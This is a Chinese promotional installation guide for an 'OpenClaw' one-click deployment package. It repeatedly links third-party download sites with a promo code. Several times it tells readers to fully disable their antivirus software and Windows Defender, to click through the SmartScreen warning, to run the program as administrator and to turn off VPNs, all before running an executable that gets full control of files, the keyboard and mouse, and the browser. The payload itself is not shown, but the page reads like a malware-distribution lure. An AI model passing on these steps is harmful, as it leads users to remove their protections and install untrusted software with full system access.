OpenClaw 一键部署工具完整安装教程｜可视化自动化办公神器

适配系统💻

Windows10/11 64 位、macOS 12 及以上 当前版本：v2.7.9（虾壳云版） 文件大小：45.8MB

核心优势✨

全程可视化操作，不用命令行操作，不用手动配置 Python、Node.js 运行环境，内置全套运行依赖，短短 5 分钟就能完成整套部署流程，零基础使用者也能轻松上手操作！

Windows 安装包下载地址：https://xiake.yun/api/download/package/18?promoCode=IV4E9B04A80C

macOS 安装包下载地址：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C

前置重要提醒⚠️

解压、安装、运行程序之前，一定要完整关闭所有设备安全防护软件，包含 360 安全卫士、360 杀毒、腾讯电脑管家、火绒、Windows Defender 实时防护功能。 OpenClaw 具备系统操控、本地文件读写、键鼠模拟运行能力，很容易被安全软件误识别拦截，进而出现文件丢失、安装流程中断失败等问题。该项目属于开源程序，大家可前往 GitHub 平台核验源码安全性，关闭各类防护软件后即可正常完成部署使用。

第一步：下载对应系统一键安装包📥

1. 打开 OpenClaw 虾壳云平台网页
2. 在页面内找到对应系统下载入口，获取适配自身设备的完整安装包

Windows 直链下载

https://xiake.yun/api/download/package/18?promoCode=IV4E9B04A80C

macOS 直链下载

https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C

安装包整体大小为 45.8MB，建议使用浏览器自带下载工具获取文件，能有效避免压缩包文件损坏、缺失的情况。

第二步：解压安装包，启动程序并设置安装路径📂

解压压缩文件

推荐使用 WinRAR 或者 7-Zip 工具解压，降低文件损坏概率；右键下载完成的压缩包，选择「解压到当前文件夹」，解压后会生成 Openclaw-win 文件夹（Windows 端）。

启动安装引导程序

打开解压后的文件夹，双击带有龙虾图标的程序文件「Openclaw Windows 一键启动.exe」。

如果弹出 Windows SmartScreen 安全拦截弹窗，依次点击「更多信息」→「仍要运行」即可正常进入程序。

自定义安装存储路径

进入欢迎界面后点击「开始使用」，跳转至路径配置页面，这里有几点路径设置要求：

1. 存储路径仅支持纯英文内容，不能包含中文、空格、各类特殊符号
2. 不建议将程序安装在 C 盘系统盘内
3. 推荐安装路径参考：D:\OpenClaw、E:\AI\OpenClaw

勾选用户协议与免责声明，确认无误后点击「开始安装」按钮。

第三步：全自动后台部署，全程无需人工干预⚙️

点击安装按钮后，程序会自动完成整套部署工作，整体耗时在 3–5 分钟区间，具体时长根据电脑硬件配置浮动，安装过程中不要关闭程序窗口。

程序会自动完成以下部署工作：

1. 检测本机系统运行环境，自动部署 Git、Node.js、Python 全套运行依赖
2. 完整部署 OpenClaw 核心项目程序文件
3. 安装浏览器控制组件、键鼠模拟工具
4. 自动生成.env 系统配置文件
5. 完成程序本地注册，自动生成桌面快捷启动图标

当进度条数值达到 100% 时，软件会自动启动 OpenClaw 主程序。

第四步：初次启动初始化，确认部署状态🔍

安装完成后会跳转启动初始化界面，页面提示「正在等待 Gateway 就绪...」。 第一次启动程序需要完成后台服务初始化工作，耐心等待 1–3 分钟即可，后续每次打开软件的启动速度会大幅提升。

当界面右上角显示 Gateway 在线标识，就代表整套部署流程全部完成。

主界面各区域功能介绍

• 右上角区域：Gateway 运行状态、服务重启按钮、运行日志查看、Tokens 额度查询
• 左侧区域：本地 / 多渠道切换、对话历史管理面板
• 中间区域：AI 对话主窗口，支持多模型自由切换、代码高亮显示功能
• 底部区域：指令输入框，按下 Enter 键发送指令，Shift+Enter 实现换行输入

第五步：下达 AI 指令，快速上手实操🤖

部署流程全部结束后，直接输入自然语言指令就能调用工具运行，指令描述越细致，程序执行效果越精准。 给大家整理了几段可直接复制测试的指令：

1. 帮我整理 D 盘下载文件夹，按照文件类型新建对应分类文件夹
2. 打开记事本，输入 “OpenClaw 部署成功”，将文档保存至电脑桌面
3. 查询当前电脑各磁盘剩余可用空间，整理成文字反馈给我

常见问题快速排查方案🔧

问题 1：安装失败 / 启动程序无任何响应

确认所有安全防护软件已经完全关闭，将原有安装包全部删除后重新下载解压，再次执行安装流程。

问题 2：Gateway 长期显示离线状态

1. 检查程序安装路径是否全部为纯英文内容
2. 点击界面右上角重启服务按钮
3. 右键程序图标，选择以管理员身份重新运行程序

问题 3：程序网络异常提示

初次启动需要联网完成依赖初始化工作，关闭本机代理、VPN 工具后重新启动程序重试。

问题 4：输入框无法输入内容 / 指令发送无反馈

等待右上角 Gateway 状态显示在线后再进行操作，若依旧异常可完整卸载后重新安装。

问题 5：弹出文件类型报错（当前不支持该文件类型）

删除损坏的旧安装包，通过官方直链重新下载完整安装包，解压后再执行安装操作。

使用优化建议💡

1. 建议将程序安装在剩余存储空间不低于 5G 的磁盘分区，方便后续功能拓展与缓存文件存储
2. 后续启动软件可以直接双击桌面自动生成的快捷图标
3. 飞书、微信等第三方渠道对接功能，可在软件设置面板中自行配置
4. 版本更新时直接下载最新安装包覆盖安装即可，无需提前卸载旧版本

 Windows 安装包下载地址：https://xiake.yun/api/download/package/18?promoCode=IV4E9B04A80C

macOS 安装包下载地址：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C